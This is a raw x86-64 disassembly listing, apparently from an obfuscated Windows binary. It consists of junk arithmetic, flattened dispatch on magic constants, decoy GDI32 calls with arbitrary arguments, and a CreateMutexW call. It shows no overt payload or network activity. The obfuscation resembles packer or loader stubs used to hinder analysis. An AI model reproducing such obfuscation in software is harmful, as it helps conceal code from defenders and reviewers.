movabs rax, 0x77bd1087eb2deb
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov eax, dword [rsp + 0x1c58]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [rsp + 0xc58]
movsx ecx, word [rsp + 0xc5c]
xor eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001ce49
movzx eax, word [rsp + 0xc60]
cmp eax, 0x214
jge 0x14001d1a6
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc5c], ax
mov eax, dword [rsp + 0x1c58]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f90]
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov r8d, 0xc1
lea rdx, [rsp + 0x3a70]
mov rcx, qword [rsp + 0x3ab0]
call qword [sym.imp.GDI32.dll_LPtoDP]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc5c], ax
mov eax, dword [rsp + 0x1f8c]
movzx ecx, al
mov eax, dword [rsp + 0x1f68]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
cmp eax, dword [rcx]
jne 0x1400f2d95
movabs rax, 0x7ccca04faaf308
mov rcx, qword [rsp + 0x34f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov eax, dword [rsp + 0x1f8c]
mov dword [rsp + 0x1f98], eax
cmp dword [rsp + 0x1f98], 0x3695e6f8
jg 0x14001d25b
cmp dword [rsp + 0x1f98], 0x3695e6f8
je 0x14001d916
cmp dword [rsp + 0x1f98], 0
je 0x14001d354
cmp dword [rsp + 0x1f98], 0x8a6fb8c
je 0x14001d854
cmp dword [rsp + 0x1f98], 0x17766698
je 0x14001d75a
cmp dword [rsp + 0x1f98], 0x1db10368
je 0x14001d9ac
jmp 0x14001daf9
cmp dword [rsp + 0x1f98], 0x52888f67
je 0x14001d668
cmp dword [rsp + 0x1f98], 0x77bc2bbf
je 0x14001d28f
cmp dword [rsp + 0x1f98], 0x7b8cd899
je 0x14001da48
jmp 0x14001daf9
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3ab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ab8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
lea rdx, [rsp + 0x1f9c]
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_SetWorldTransform]
mov dword [rsp + 0x1f60], eax
movabs rax, 0x785f276341fb1a
mov rcx, qword [rsp + 0x34f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x2fa8]
shl rax, 0x21
mov qword [rsp + 0x2fa8], rax
jmp 0x14001daf9
mov rax, qword [rsp + 0x34f8]
mov qword [rsp + 0x3ac8], rax
movabs rax, 0x7b872b36f0093e
cmp qword [rsp + 0x3ac8], rax
jg 0x14001d3f5
movabs rax, 0x7b872b36f0093e
cmp qword [rsp + 0x3ac8], rax
je 0x14001d5e5
movabs rax, 0x70f578c1d75c33
cmp qword [rsp + 0x3ac8], rax
je 0x14001d55f
movabs rax, 0x7480800d004108
cmp qword [rsp + 0x3ac8], rax
je 0x14001d442
movabs rax, 0x76af7e209d1694
cmp qword [rsp + 0x3ac8], rax
je 0x14001d614
movabs rax, 0x7b76a26623a24a
cmp qword [rsp + 0x3ac8], rax
je 0x14001d587
jmp 0x14001d663
movabs rax, 0x7c844b38dec0bd
cmp qword [rsp + 0x3ac8], rax
je 0x14001d5a1
movabs rax, 0x7d922560ddd841
cmp qword [rsp + 0x3ac8], rax
je 0x14001d646
movabs rax, 0x7e05423055a5e4
cmp qword [rsp + 0x3ac8], rax
je 0x14001d5c6
jmp 0x14001d663
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
or eax, ecx
cmp eax, dword [rsp + 0x1f68]
jle 0x14001d547
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
sar eax, 0xc
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1c58]
mov ecx, dword [rsp + 0x1f7c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movabs rax, 0x7a678051d4e33f
mov rcx, qword [rsp + 0x2fa8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x14001d55a
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
sub eax, ecx
jmp 0x14001d663
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
jmp 0x14001d663
movzx eax, word [rsp + 0xc60]
add eax, 0x7cf
mov word [rsp + 0xc60], ax
jmp 0x14001d663
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
xor eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001d663
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x14001d663
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ad0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1f68], eax
jmp 0x14001d663
mov eax, dword [rsp + 0x1c58]
mov rcx, qword [rsp + 0x3a38]
mov qword [rsp + 0x3ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ad8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001d663
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f8c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x14001daf9
lea r9, [rsp + 0x1f90]
mov r8d, 0x4d
mov rdx, qword [rsp + 0x3ae0]
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [rsp + 0x1f88], eax
movabs rax, 0x752adcbf2eb2ed
mov rcx, qword [rsp + 0x2fa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc58], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movabs rax, 0x785eaa26d1526a
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
jmp 0x14001daf9
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc5c], ax
mov eax, dword [rsp + 0x1f7c]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movabs rax, 0x727052a3a1d52c
mov rcx, qword [rsp + 0x2fa8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x14001daf9
mov r8d, 0x4c
mov edx, 0xac
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_SetTextJustification]
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x3a68]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f90], eax
mov eax, dword [rsp + 0x1f8c]
mov rcx, qword [rsp + 0x3a40]
mov qword [rsp + 0x3ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3ae8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1f68], eax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1c58], eax
jmp 0x14001daf9
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
shl eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
xor eax, 0x445
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1f68]
movzx ecx, al
mov eax, dword [rsp + 0x1f8c]
sar eax, cl
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001daf9
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc58], ax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1f7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f68]
mov ecx, dword [rsp + 0x1f8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movabs rax, 0x7c4aed2981cece
mov rcx, qword [rsp + 0x2fa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
jmp 0x14001daf9
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sar eax, cl
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3af0]
call qword [sym.imp.GDI32.dll_GetROP2]
mov dword [rsp + 0x1fa0], eax
movabs rax, 0x73b18a1461d3ae
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1fa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f68], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
cmp dword [rsp + 0x1f5c], 0x3e8b
ja 0x14001dcfe
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1fa4], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc60]
sar eax, 0xe
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
movabs rax, 0x7bd20455806343
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f5c]
add eax, 0xa1
mov dword [rsp + 0x1f5c], eax
mov eax, dword [rsp + 0x1f90]
movzx ecx, al
mov eax, dword [rsp + 0x1f7c]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3af8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3af8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
xor eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001daf9
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x3b00], rax
mov eax, dword [rsp + 0x1f90]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shr eax, cl
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
movsx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f7c], eax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
sub eax, ecx
mov word [rsp + 0xc5c], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc58], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1f90]
shl eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f80]
add eax, 0xf2
mov dword [rsp + 0x1f80], eax
mov eax, dword [rsp + 0x1f7c]
mov ecx, dword [rsp + 0x1c58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
cmp dword [rsp + 0x1f80], 0xc9b9
jb 0x14001dd0e
mov rax, qword [rsp + 0x2fa8]
mov qword [rsp + 0x3b08], rax
cmp qword [rsp + 0x3b08], 0
je 0x14001df01
movabs rax, 0x78ecac76ec39d9
cmp qword [rsp + 0x3b08], rax
je 0x14001e1ad
movabs rax, 0x7af516466b47e9
cmp qword [rsp + 0x3b08], rax
je 0x14001e30b
movabs rax, 0x7b270798b8360a
cmp qword [rsp + 0x3b08], rax
je 0x14001e3c3
jmp 0x14001e53a
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x3b10], rax
movzx eax, word [rsp + 0xc60]
mov dword [rsp + 0x1fa8], eax
cmp dword [rsp + 0x1fa8], 0xb2a
jg 0x14001df71
cmp dword [rsp + 0x1fa8], 0xb2a
je 0x14001df98
cmp dword [rsp + 0x1fa8], 0
je 0x14001e0f2
cmp dword [rsp + 0x1fa8], 0x28
je 0x14001e145
cmp dword [rsp + 0x1fa8], 0x6b0
je 0x14001e163
jmp 0x14001e188
cmp dword [rsp + 0x1fa8], 0xbb4
je 0x14001e107
cmp dword [rsp + 0x1fa8], 0xdd8
je 0x14001e126
jmp 0x14001e188
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1c58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc60]
and eax, 0x8d
mov word [rsp + 0xc60], ax
mov eax, dword [rsp + 0x1c58]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b18]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f7c], eax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc5c], ax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xc58]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc58]
xor eax, ecx
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov edx, 0xb9
mov rcx, qword [rsp + 0x3b20]
call qword [sym.imp.GDI32.dll_ResizePalette]
mov dword [rsp + 0x1f88], eax
jmp 0x14001e1a8
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x3b28], rax
jmp 0x14001e1a8
mov eax, dword [rsp + 0x1f90]
movzx ecx, al
mov eax, dword [rsp + 0x1c58]
shl eax, cl
mov dword [rsp + 0x1f7c], eax
jmp 0x14001e1a8
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc58], ax
jmp 0x14001e1a8
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
jmp 0x14001e1a8
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a70]
mov word [rcx], ax
jmp 0x14001e1a8
movabs rax, 0x7cec372b580a6c
mov rcx, qword [rsp + 0x34f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
jmp 0x14001e53a
mov rax, qword [rsp + 0x3a38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a68]
mov qword [rsp + 0x3b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc60]
and eax, 0x7d7
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3a40]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1f90], eax
mov eax, dword [rsp + 0x1f90]
mov ecx, dword [rsp + 0x1c58]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movabs rax, 0x757745fbfd119a
mov rcx, qword [rsp + 0x2fa8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc58], ax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3b00]
mov word [rcx], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
jmp 0x14001e53a
lea r8, [rsp + 0x160f0]
mov edx, 0x79
mov rcx, qword [rsp + 0x3ac0]
call qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
mov dword [rsp + 0x1f90], eax
movabs rax, 0x7dedfb0f989c83
mov rcx, qword [rsp + 0x34f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3b28]
movabs rcx, 0x7900751d18b131
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x3b28]
mov qword [rsp + 0x3b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3b38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
jmp 0x14001e53a
mov rax, qword [rsp + 0x3b00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3a50]
mov word [rcx], ax
movzx eax, word [rsp + 0xc60]
and eax, 0x558
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x3a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a38]
mov dword [rcx], eax
movabs rax, 0x7af6e0f7d18866
mov rcx, qword [rsp + 0x2fa8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fa0]
